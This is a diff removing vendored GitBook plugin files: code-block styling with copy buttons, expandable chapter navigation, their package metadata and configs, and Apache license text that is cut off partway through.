|
||||||
position: absolute;
|
|
||||||
right: 1em;
|
|
||||||
top: 1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
.code-wrapper pre {
|
|
||||||
background: #f7f8f9;
|
|
||||||
border-radius: 3px;
|
|
||||||
counter-reset: line;
|
|
||||||
font-size: 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.code-wrapper pre > code > span.code-line:before {
|
|
||||||
counter-increment: line;
|
|
||||||
color: #c1c7cd;
|
|
||||||
content: counter(line);
|
|
||||||
display: inline-block;
|
|
||||||
font-size: 12px;
|
|
||||||
margin-right: 1.5em;
|
|
||||||
width: 1em;
|
|
||||||
}
|
|
||||||
-91
@@ -1,91 +0,0 @@
|
|||||||
require(['gitbook', 'jQuery'], function(gitbook, $) {
|
|
||||||
|
|
||||||
const TERMINAL_HOOK = '**[terminal]'
|
|
||||||
|
|
||||||
var pluginConfig = {};
|
|
||||||
var timeouts = {};
|
|
||||||
|
|
||||||
function addCopyButton(wrapper) {
|
|
||||||
wrapper.append(
|
|
||||||
$('<i class="fa fa-clone t-copy"></i>')
|
|
||||||
.click(function() {
|
|
||||||
copyCommand($(this));
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function addCopyTextarea() {
|
|
||||||
|
|
||||||
/* Add also the text area that will allow to copy */
|
|
||||||
$('body').append('<textarea id="code-textarea" />');
|
|
||||||
}
|
|
||||||
|
|
||||||
function copyCommand(button) {
|
|
||||||
pre = button.parent();
|
|
||||||
textarea = $('#code-textarea');
|
|
||||||
textarea.val(pre.text());
|
|
||||||
textarea.focus();
|
|
||||||
textarea.select();
|
|
||||||
document.execCommand('copy');
|
|
||||||
pre.focus();
|
|
||||||
updateCopyButton(button);
|
|
||||||
}
|
|
||||||
|
|
||||||
function initializePlugin(config) {
|
|
||||||
pluginConfig = config.code;
|
|
||||||
}
|
|
||||||
|
|
||||||
function format_code_block(block) {
|
|
||||||
/*
|
|
||||||
* Add line numbers for multiline blocks.
|
|
||||||
*/
|
|
||||||
code = block.children('code');
|
|
||||||
lines = code.html().split('\n');
|
|
||||||
|
|
||||||
if (lines[lines.length - 1] == '') {
|
|
||||||
lines.splice(-1, 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (lines.length > 1) {
|
|
||||||
console.log(lines);
|
|
||||||
lines = lines.map(line => '<span class="code-line">' + line + '</span>');
|
|
||||||
console.log(lines);
|
|
||||||
code.html(lines.join('\n'));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Add wrapper to pre element
|
|
||||||
wrapper = block.wrap('<div class="code-wrapper"></div>');
|
|
||||||
|
|
||||||
if (pluginConfig.copyButtons) {
|
|
||||||
addCopyButton(wrapper);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateCopyButton(button) {
|
|
||||||
id = button.attr('data-command');
|
|
||||||
button.removeClass('fa-clone').addClass('fa-check');
|
|
||||||
|
|
||||||
// Clear timeout
|
|
||||||
if (id in timeouts) {
|
|
||||||
clearTimeout(timeouts[id]);
|
|
||||||
}
|
|
||||||
timeouts[id] = window.setTimeout(function() {
|
|
||||||
button.removeClass('fa-check').addClass('fa-clone');
|
|
||||||
}, 1000);
|
|
||||||
}
|
|
||||||
|
|
||||||
gitbook.events.bind('start', function(e, config) {
|
|
||||||
initializePlugin(config);
|
|
||||||
|
|
||||||
if (pluginConfig.copyButtons) {
|
|
||||||
addCopyTextarea();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
gitbook.events.bind('page.change', function() {
|
|
||||||
$('pre').each(function() {
|
|
||||||
format_code_block($(this));
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
});
|
|
||||||
-13
@@ -1,13 +0,0 @@
|
|||||||
module.exports = {
|
|
||||||
|
|
||||||
website: {
|
|
||||||
assets: './assets',
|
|
||||||
js: [
|
|
||||||
'plugin.js'
|
|
||||||
],
|
|
||||||
css: [
|
|
||||||
'plugin.css'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
};
|
|
||||||
-63
@@ -1,63 +0,0 @@
|
|||||||
{
|
|
||||||
"_from": "gitbook-plugin-code",
|
|
||||||
"_id": "gitbook-plugin-code@0.1.0",
|
|
||||||
"_inBundle": false,
|
|
||||||
"_integrity": "sha512-TE8CUFlN7da4SiN2LYx8qk+FX5w2O2IicEcn48sPTpA8gj9qKQqpYpGEdwgsDEev11shEjCZhDwFN//GQ7bdnA==",
|
|
||||||
"_location": "/gitbook-plugin-code",
|
|
||||||
"_phantomChildren": {},
|
|
||||||
"_requested": {
|
|
||||||
"type": "tag",
|
|
||||||
"registry": true,
|
|
||||||
"raw": "gitbook-plugin-code",
|
|
||||||
"name": "gitbook-plugin-code",
|
|
||||||
"escapedName": "gitbook-plugin-code",
|
|
||||||
"rawSpec": "",
|
|
||||||
"saveSpec": null,
|
|
||||||
"fetchSpec": "latest"
|
|
||||||
},
|
|
||||||
"_requiredBy": [
|
|
||||||
"#USER",
|
|
||||||
"/"
|
|
||||||
],
|
|
||||||
"_resolved": "https://registry.npmmirror.com/gitbook-plugin-code/-/gitbook-plugin-code-0.1.0.tgz",
|
|
||||||
"_shasum": "811a9600baef7558ae193cee7d5810001667e97b",
|
|
||||||
"_spec": "gitbook-plugin-code",
|
|
||||||
"_where": "D:\\Book",
|
|
||||||
"author": {
|
|
||||||
"name": "David Moreno-García",
|
|
||||||
"email": "david.mogar@gmail.com"
|
|
||||||
},
|
|
||||||
"bugs": {
|
|
||||||
"url": "https://github.com/davidmogar/gitbook-plugin-code/issues"
|
|
||||||
},
|
|
||||||
"bundleDependencies": false,
|
|
||||||
"deprecated": false,
|
|
||||||
"description": "Gitbook plugin to change style of code blocks",
|
|
||||||
"engines": {
|
|
||||||
"gitbook": ">2.5.0"
|
|
||||||
},
|
|
||||||
"gitbook": {
|
|
||||||
"properties": {
|
|
||||||
"copyButtons": {
|
|
||||||
"default": true,
|
|
||||||
"title": "Adds buttons to copy the commands",
|
|
||||||
"type": "boolean"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"homepage": "https://github.com/davidmogar/gitbook-plugin-code",
|
|
||||||
"keywords": [
|
|
||||||
"gitbook",
|
|
||||||
"github",
|
|
||||||
"code",
|
|
||||||
"plugin"
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"main": "index.js",
|
|
||||||
"name": "gitbook-plugin-code",
|
|
||||||
"repository": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "git+https://github.com/davidmogar/gitbook-plugin-code.git"
|
|
||||||
},
|
|
||||||
"version": "0.1.0"
|
|
||||||
}
|
|
||||||
-1
@@ -1 +0,0 @@
|
|||||||
/npm-debug.log
|
|
||||||
-7
@@ -1,7 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<projectDescription>
|
|
||||||
<name>gitbook-plugin-expandable-chapters</name>
|
|
||||||
<comment></comment>
|
|
||||||
<projects>
|
|
||||||
</projects>
|
|
||||||
</projectDescription>
|
|
||||||
-202
@@ -1,202 +0,0 @@
|
|||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
http://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction,
|
|
||||||
and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by
|
|
||||||
the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all
|
|
||||||
other entities that control, are controlled by, or are under common
|
|
||||||
control with that entity. For the purposes of this definition,
|
|
||||||
"control" means (i) the power, direct or indirect, to cause the
|
|
||||||
direction or management of such entity, whether by contract or
|
|
||||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
||||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity
|
|
||||||
exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications,
|
|
||||||
including but not limited to software source code, documentation
|
|
||||||
source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical
|
|
||||||
transformation or translation of a Source form, including but
|
|
||||||
not limited to compiled object code, generated documentation,
|
|
||||||
and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or
|
|
||||||
Object form, made available under the License, as indicated by a
|
|
||||||
copyright notice that is included in or attached to the work
|
|
||||||
(an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object
|
|
||||||
form, that is based on (or derived from) the Work and for which the
|
|
||||||
editorial revisions, annotations, elaborations, or other modifications
|
|
||||||
represent, as a whole, an original work of authorship. For the purposes
|
|
||||||
of this License, Derivative Works shall not include works that remain
|
|
||||||
separable from, or merely link (or bind by name) to the interfaces of,
|
|
||||||
the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including
|
|
||||||
the original version of the Work and any modifications or additions
|
|
||||||
to that Work or Derivative Works thereof, that is intentionally
|
|
||||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
||||||
or by an individual or Legal Entity authorized to submit on behalf of
|
|
||||||
the copyright owner. For the purposes of this definition, "submitted"
|
|
||||||
means any form of electronic, verbal, or written communication sent
|
|
||||||
to the Licensor or its representatives, including but not limited to
|
|
||||||
communication on electronic mailing lists, source code control systems,
|
|
||||||
and issue tracking systems that are managed by, or on behalf of, the
|
|
||||||
Licensor for the purpose of discussing and improving the Work, but
|
|
||||||
excluding communication that is conspicuously marked or otherwise
|
|
||||||
designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
||||||
on behalf of whom a Contribution has been received by Licensor and
|
|
||||||
subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
copyright license to reproduce, prepare Derivative Works of,
|
|
||||||
publicly display, publicly perform, sublicense, and distribute the
|
|
||||||
Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
(except as stated in this section) patent license to make, have made,
|
|
||||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
||||||
where such license applies only to those patent claims licensable
|
|
||||||
by such Contributor that are necessarily infringed by their
|
|
||||||
Contribution(s) alone or by combination of their Contribution(s)
|
|
||||||
with the Work to which such Contribution(s) was submitted. If You
|
|
||||||
institute patent litigation against any entity (including a
|
|
||||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
||||||
or a Contribution incorporated within the Work constitutes direct
|
|
||||||
or contributory patent infringement, then any patent licenses
|
|
||||||
granted to You under this License for that Work shall terminate
|
|
||||||
as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the
|
|
||||||
Work or Derivative Works thereof in any medium, with or without
|
|
||||||
modifications, and in Source or Object form, provided that You
|
|
||||||
meet the following conditions:
|
|
||||||
|
|
||||||
(a) You must give any other recipients of the Work or
|
|
||||||
Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices
|
|
||||||
stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works
|
|
||||||
that You distribute, all copyright, patent, trademark, and
|
|
||||||
attribution notices from the Source form of the Work,
|
|
||||||
excluding those notices that do not pertain to any part of
|
|
||||||
the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its
|
|
||||||
distribution, then any Derivative Works that You distribute must
|
|
||||||
include a readable copy of the attribution notices contained
|
|
||||||
within such NOTICE file, excluding those notices that do not
|
|
||||||
pertain to any part of the Derivative Works, in at least one
|
|
||||||
of the following places: within a NOTICE text file distributed
|
|
||||||
as part of the Derivative Works; within the Source form or
|
|
||||||
documentation, if provided along with the Derivative Works; or,
|
|
||||||
within a display generated by the Derivative Works, if and
|
|
||||||
wherever such third-party notices normally appear. The contents
|
|
||||||
of the NOTICE file are for informational purposes only and
|
|
||||||
do not modify the License. You may add Your own attribution
|
|
||||||
notices within Derivative Works that You distribute, alongside
|
|
||||||
or as an addendum to the NOTICE text from the Work, provided
|
|
||||||
that such additional attribution notices cannot be construed
|
|
||||||
as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and
|
|
||||||
may provide additional or different license terms and conditions
|
|
||||||
for use, reproduction, or distribution of Your modifications, or
|
|
||||||
for any such Derivative Works as a whole, provided Your use,
|
|
||||||
reproduction, and distribution of the Work otherwise complies with
|
|
||||||
the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
||||||
any Contribution intentionally submitted for inclusion in the Work
|
|
||||||
by You to the Licensor shall be under the terms and conditions of
|
|
||||||
this License, without any additional terms or conditions.
|
|
||||||
Notwithstanding the above, nothing herein shall supersede or modify
|
|
||||||
the terms of any separate license agreement you may have executed
|
|
||||||
with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade
|
|
||||||
names, trademarks, service marks, or product names of the Licensor,
|
|
||||||
except as required for reasonable and customary use in describing the
|
|
||||||
origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
||||||
agreed to in writing, Licensor provides the Work (and each
|
|
||||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
||||||
implied, including, without limitation, any warranties or conditions
|
|
||||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
||||||
appropriateness of using or redistributing the Work and assume any
|
|
||||||
risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory,
|
|
||||||
whether in tort (including negligence), contract, or otherwise,
|
|
||||||
unless required by applicable law (such as deliberate and grossly
|
|
||||||
negligent acts) or agreed to in writing, shall any Contributor be
|
|
||||||
liable to You for damages, including any direct, indirect, special,
|
|
||||||
incidental, or consequential damages of any character arising as a
|
|
||||||
result of this License or out of the use or inability to use the
|
|
||||||
Work (including but not limited to damages for loss of goodwill,
|
|
||||||
work stoppage, computer failure or malfunction, or any and all
|
|
||||||
other commercial damages or losses), even if such Contributor
|
|
||||||
has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing
|
|
||||||
the Work or Derivative Works thereof, You may choose to offer,
|
|
||||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
||||||
or other liability obligations and/or rights consistent with this
|
|
||||||
License. However, in accepting such obligations, You may act only
|
|
||||||
on Your own behalf and on Your sole responsibility, not on behalf
|
|
||||||
of any other Contributor, and only if You agree to indemnify,
|
|
||||||
defend, and hold each Contributor harmless for any liability
|
|
||||||
incurred by, or claims asserted against, such Contributor by reason
|
|
||||||
of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following
|
|
||||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
|
||||||
replaced with your own identifying information. (Don't include
|
|
||||||
the brackets!) The text should be enclosed in the appropriate
|
|
||||||
comment syntax for the file format. We also recommend that a
|
|
||||||
file or class name and description of purpose be included on the
|
|
||||||
same "printed page" as the copyright notice for easier
|
|
||||||
identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright {yyyy} {name of copyright owner}
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
|
|
||||||
-33
@@ -1,33 +0,0 @@
|
|||||||
#Expandable chapters for GitBook
|
|
||||||
==============
|
|
||||||
|
|
||||||
Tiny change to the expandable-chapters plugin from https://github.com/DomainDrivenArchitecture/ to use smaller arrows.
|
|
||||||
|
|
||||||
### How to use it?
|
|
||||||
|
|
||||||
Add it to your `book.json` configuration:
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
plugins: ["expandable-chapters-small"]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Install your plugins using:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ gitbook install
|
|
||||||
```
|
|
||||||
|
|
||||||
### Configuration
|
|
||||||
|
|
||||||
There is no configuration needed at the moment, can be left empty.
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
"pluginsConfig": {
|
|
||||||
"expandable-chapters-small":{}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Generated
Vendored
-29
@@ -1,29 +0,0 @@
|
|||||||
.book .book-summary .chapter > .articles {
|
|
||||||
overflow: hidden;
|
|
||||||
max-height: 0px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.book .book-summary .chapter.expanded > .articles {
|
|
||||||
max-height: 9999px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.book .book-summary .exc-trigger {
|
|
||||||
position: absolute;
|
|
||||||
left: 12px;
|
|
||||||
top: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.book .book-summary ul.summary li a,
|
|
||||||
.book .book-summary ul.summary li span {
|
|
||||||
padding-left: 30px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.book .book-summary .exc-trigger:before {
|
|
||||||
content: "\f105";
|
|
||||||
}
|
|
||||||
|
|
||||||
.book .book-summary .expanded > a .exc-trigger:before,
|
|
||||||
.book .book-summary .expanded > span .exc-trigger:before {
|
|
||||||
content: "\f107";
|
|
||||||
}
|
|
||||||
|
|
||||||
Generated
Vendored
-68
@@ -1,68 +0,0 @@
|
|||||||
require(['gitbook', 'jQuery'], function(gitbook, $) {
|
|
||||||
var TOGGLE_CLASSNAME = 'expanded',
|
|
||||||
CHAPTER = '.chapter',
|
|
||||||
ARTICLES = '.articles',
|
|
||||||
TRIGGER_TEMPLATE = '<i class="exc-trigger fa"></i>',
|
|
||||||
LS_NAMESPACE = 'expChapters';
|
|
||||||
var init = function () {
|
|
||||||
// adding the trigger element to each ARTICLES parent and binding the event
|
|
||||||
$(ARTICLES)
|
|
||||||
.parent(CHAPTER)
|
|
||||||
.children('a')
|
|
||||||
.append(
|
|
||||||
$(TRIGGER_TEMPLATE)
|
|
||||||
.on('click', function(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
e.stopPropagation();
|
|
||||||
toggle($(e.target).closest(CHAPTER));
|
|
||||||
})
|
|
||||||
);
|
|
||||||
expand(lsItem());
|
|
||||||
//expand current selected chapter with it's parents
|
|
||||||
var activeChapter = $(CHAPTER + '.active');
|
|
||||||
expand(activeChapter);
|
|
||||||
expand(activeChapter.parents(CHAPTER));
|
|
||||||
|
|
||||||
|
|
||||||
}
|
|
||||||
var toggle = function ($chapter) {
|
|
||||||
if ($chapter.hasClass('expanded')) {
|
|
||||||
collapse($chapter);
|
|
||||||
} else {
|
|
||||||
expand($chapter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
var collapse = function ($chapter) {
|
|
||||||
if ($chapter.length && $chapter.hasClass(TOGGLE_CLASSNAME)) {
|
|
||||||
$chapter.removeClass(TOGGLE_CLASSNAME);
|
|
||||||
lsItem($chapter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
var expand = function ($chapter) {
|
|
||||||
if ($chapter.length && !$chapter.hasClass(TOGGLE_CLASSNAME)) {
|
|
||||||
$chapter.addClass(TOGGLE_CLASSNAME);
|
|
||||||
lsItem($chapter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
var lsItem = function () {
|
|
||||||
var map = JSON.parse(localStorage.getItem(LS_NAMESPACE)) || {}
|
|
||||||
if (arguments.length) {
|
|
||||||
var $chapters = arguments[0];
|
|
||||||
$chapters.each(function (index, element) {
|
|
||||||
var level = $(this).data('level');
|
|
||||||
var value = $(this).hasClass(TOGGLE_CLASSNAME);
|
|
||||||
map[level] = value;
|
|
||||||
})
|
|
||||||
localStorage.setItem(LS_NAMESPACE, JSON.stringify(map));
|
|
||||||
} else {
|
|
||||||
return $(CHAPTER).map(function(index, element){
|
|
||||||
if (map[$(this).data('level')]) {
|
|
||||||
return this;
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
gitbook.events.bind('page.change', function() {
|
|
||||||
init()
|
|
||||||
});
|
|
||||||
});
|
|
||||||
-12
@@ -1,12 +0,0 @@
|
|||||||
module.exports = {
|
|
||||||
// Extend website resources and html
|
|
||||||
website: {
|
|
||||||
assets: "./book",
|
|
||||||
js: [
|
|
||||||
"expandable-chapters-small.js"
|
|
||||||
],
|
|
||||||
css: [
|
|
||||||
"expandable-chapters-small.css"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
};
|
|
||||||
-44
@@ -1,44 +0,0 @@
|
|||||||
{
|
|
||||||
"_from": "gitbook-plugin-expandable-chapters-small",
|
|
||||||
"_id": "gitbook-plugin-expandable-chapters-small@0.1.7",
|
|
||||||
"_inBundle": false,
|
|
||||||
"_integrity": "sha512-bgmPN6AtXqFXH1q9HgWRHJbx0OXS3nuCU8gLgWEARz8adbFaW0p98NTCX3CaEuYTuU3t/UYWASAjQqI+zpCdng==",
|
|
||||||
"_location": "/gitbook-plugin-expandable-chapters-small",
|
|
||||||
"_phantomChildren": {},
|
|
||||||
"_requested": {
|
|
||||||
"type": "tag",
|
|
||||||
"registry": true,
|
|
||||||
"raw": "gitbook-plugin-expandable-chapters-small",
|
|
||||||
"name": "gitbook-plugin-expandable-chapters-small",
|
|
||||||
"escapedName": "gitbook-plugin-expandable-chapters-small",
|
|
||||||
"rawSpec": "",
|
|
||||||
"saveSpec": null,
|
|
||||||
"fetchSpec": "latest"
|
|
||||||
},
|
|
||||||
"_requiredBy": [
|
|
||||||
"#USER",
|
|
||||||
"/"
|
|
||||||
],
|
|
||||||
"_resolved": "https://registry.npmmirror.com/gitbook-plugin-expandable-chapters-small/-/gitbook-plugin-expandable-chapters-small-0.1.7.tgz",
|
|
||||||
"_shasum": "afc9e597b6851156fa7b00231ff8ab93f4feba4c",
|
|
||||||
"_spec": "gitbook-plugin-expandable-chapters-small",
|
|
||||||
"_where": "D:\\Book",
|
|
||||||
"bugs": {
|
|
||||||
"url": "https://github.com/chrisjake/gitbook-plugin-expandable-chapters-small/issues"
|
|
||||||
},
|
|
||||||
"bundleDependencies": false,
|
|
||||||
"deprecated": false,
|
|
||||||
"description": "Expandable chapters for convenient navigation within a gitbook",
|
|
||||||
"engines": {
|
|
||||||
"gitbook": ">=0.4.6"
|
|
||||||
},
|
|
||||||
"homepage": "https://github.com/chrisjake/gitbook-plugin-expandable-chapters-small",
|
|
||||||
"license": "Apache 2",
|
|
||||||
"main": "index.js",
|
|
||||||
"name": "gitbook-plugin-expandable-chapters-small",
|
|
||||||
"repository": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "git+https://github.com/chrisjake/gitbook-plugin-expandable-chapters-small.git"
|
|
||||||
},
|
|
||||||
"version": "0.1.7"
|
|
||||||
}
|
|
||||||
-20
@@ -1,20 +0,0 @@
|
|||||||
{
|
|
||||||
"rules": {
|
|
||||||
"no-extra-boolean-cast": [ 0 ],
|
|
||||||
"indent": [ 2, 4 ],
|
|
||||||
"quotes": [ 2, "single" ],
|
|
||||||
"linebreak-style": [ 2, "unix" ],
|
|
||||||
"semi": [ 2, "always" ],
|
|
||||||
"no-unused-vars": [ 2, {
|
|
||||||
"vars": "all",
|
|
||||||
"args": "none"
|
|
||||||
} ],
|
|
||||||
"spaced-comment": [ 2, "always" ]
|
|
||||||
},
|
|
||||||
"env": {
|
|
||||||
"node": true,
|
|
||||||
"mocha": true,
|
|
||||||
"browser": true
|
|
||||||
},
|
|
||||||
"extends": "eslint:recommended"
|
|
||||||
}
|
|
||||||
-2
@@ -1,2 +0,0 @@
|
|||||||
!assets/website.css
|
|
||||||
less
|
|
||||||
-202
@@ -1,202 +0,0 @@
|
|||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
http://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction,
|
|
||||||
and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by
|
|
||||||
the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all
|
|
||||||
other entities that control, are controlled by, or are under common
|
|
||||||
control with that entity. For the purposes of this definition,
|
|
||||||
"control" means (i) the power, direct or indirect, to cause the
|
|
||||||
direction or management of such entity, whether by contract or
|
|
||||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
||||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity
|
|
||||||
exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications,
|
|
||||||
including but not limited to software source code, documentation
|
|
||||||
source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical
|
|
||||||
transformation or translation of a Source form, including but
|
|
||||||
not limited to compiled object code, generated documentation,
|
|
||||||
and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or
|
|
||||||
Object form, made available under the License, as indicated by a
|
|
||||||
copyright notice that is included in or attached to the work
|
|
||||||
(an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object
|
|
||||||
form, that is based on (or derived from) the Work and for which the
|
|
||||||
editorial revisions, annotations, elaborations, or other modifications
|
|
||||||
represent, as a whole, an original work of authorship. For the purposes
|
|
||||||
of this License, Derivative Works shall not include works that remain
|
|
||||||
separable from, or merely link (or bind by name) to the interfaces of,
|
|
||||||
the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including
|
|
||||||
the original version of the Work and any modifications or additions
|
|
||||||
to that Work or Derivative Works thereof, that is intentionally
|
|
||||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
||||||
or by an individual or Legal Entity authorized to submit on behalf of
|
|
||||||
the copyright owner. For the purposes of this definition, "submitted"
|
|
||||||
means any form of electronic, verbal, or written communication sent
|
|
||||||
to the Licensor or its representatives, including but not limited to
|
|
||||||
communication on electronic mailing lists, source code control systems,
|
|
||||||
and issue tracking systems that are managed by, or on behalf of, the
|
|
||||||
Licensor for the purpose of discussing and improving the Work, but
|
|
||||||
excluding communication that is conspicuously marked or otherwise
|
|
||||||
designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
||||||
on behalf of whom a Contribution has been received by Licensor and
|
|
||||||
subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
copyright license to reproduce, prepare Derivative Works of,
|
|
||||||
publicly display, publicly perform, sublicense, and distribute the
|
|
||||||
Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
(except as stated in this section) patent license to make, have made,
|
|
||||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
||||||
where such license applies only to those patent claims licensable
|
|
||||||
by such Contributor that are necessarily infringed by their
|
|
||||||
Contribution(s) alone or by combination of their Contribution(s)
|
|
||||||
with the Work to which such Contribution(s) was submitted. If You
|
|
||||||
institute patent litigation against any entity (including a
|
|
||||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
||||||
or a Contribution incorporated within the Work constitutes direct
|
|
||||||
or contributory patent infringement, then any patent licenses
|
|
||||||
granted to You under this License for that Work shall terminate
|
|
||||||
as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the
|
|
||||||
Work or Derivative Works thereof in any medium, with or without
|
|
||||||
modifications, and in Source or Object form, provided that You
|
|
||||||
meet the following conditions:
|
|
